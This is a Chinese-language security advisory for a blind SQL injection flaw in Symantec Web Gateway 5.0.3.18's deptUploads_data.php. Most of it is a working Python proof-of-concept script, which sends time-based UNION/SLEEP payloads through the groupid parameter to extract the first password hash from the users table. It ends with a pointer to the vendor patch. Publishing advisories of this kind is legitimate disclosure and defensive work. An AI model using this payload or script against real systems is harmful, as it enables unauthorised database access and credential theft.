Symantec Web Gateway 'deptUploads_data.php' SQL注入漏洞


发布日期:2012-07-30
更新日期:2012-07-31

受影响系统:
Symantec Web Gateway 5.0.3.18
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54721

Symantec Web Gateway是赛门铁克企业级网页威胁防护解决方案。

Symantec Web Gateway 5.0.3.18在实现上存在SQL注入漏洞,利用此漏洞可允许攻击者控制应用,访问或修改数据,利用下层数据库中的其他漏洞。

<*来源:@_Kc57
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

@_Kc57 ()提供了如下测试方法:

#!/usr/bin/python
# @_Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db

import urllib
import time
from time import sleep

timing='2.5'
checks = 0

def check_char(i, pos):
    global timimg
    global checks
    checks += 1
    url = 'https://www.example.com/spywall/includes/deptUploads_data.php?groupid=1 union select 1,2, IF (%s=conv(mid((select password from users),%s,1),16,10),SLEEP(%s),null);--' % (i,pos,timing)
    start = time.time()
    urllib.urlopen(url)
    end = time.time()
    howlong = end-start
    return howlong

def check_pos(pos):

    for m in range(0,16):
        output = check_char(m, pos)
        print "[*] Character %s - Took %s seconds" % (hex(m)[2:],output)
        if output > 2:
            return hex(m)[2:]
            

md5 = ''
start = time.time()
for y in range(1,33):
    print "Checking position %s" % (y)
    md5 += check_pos(y)
    print md5
    end = time.time()
    howlong = end-start

print "1st hash:%s" % (md5)
print "Found in %s queries" % (checks)
print "Found in %s" %(howlong)

建议:
--------------------------------------------------------------------------------
厂商补丁:

Symantec
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.symantec.com/business/security_response/

相关内容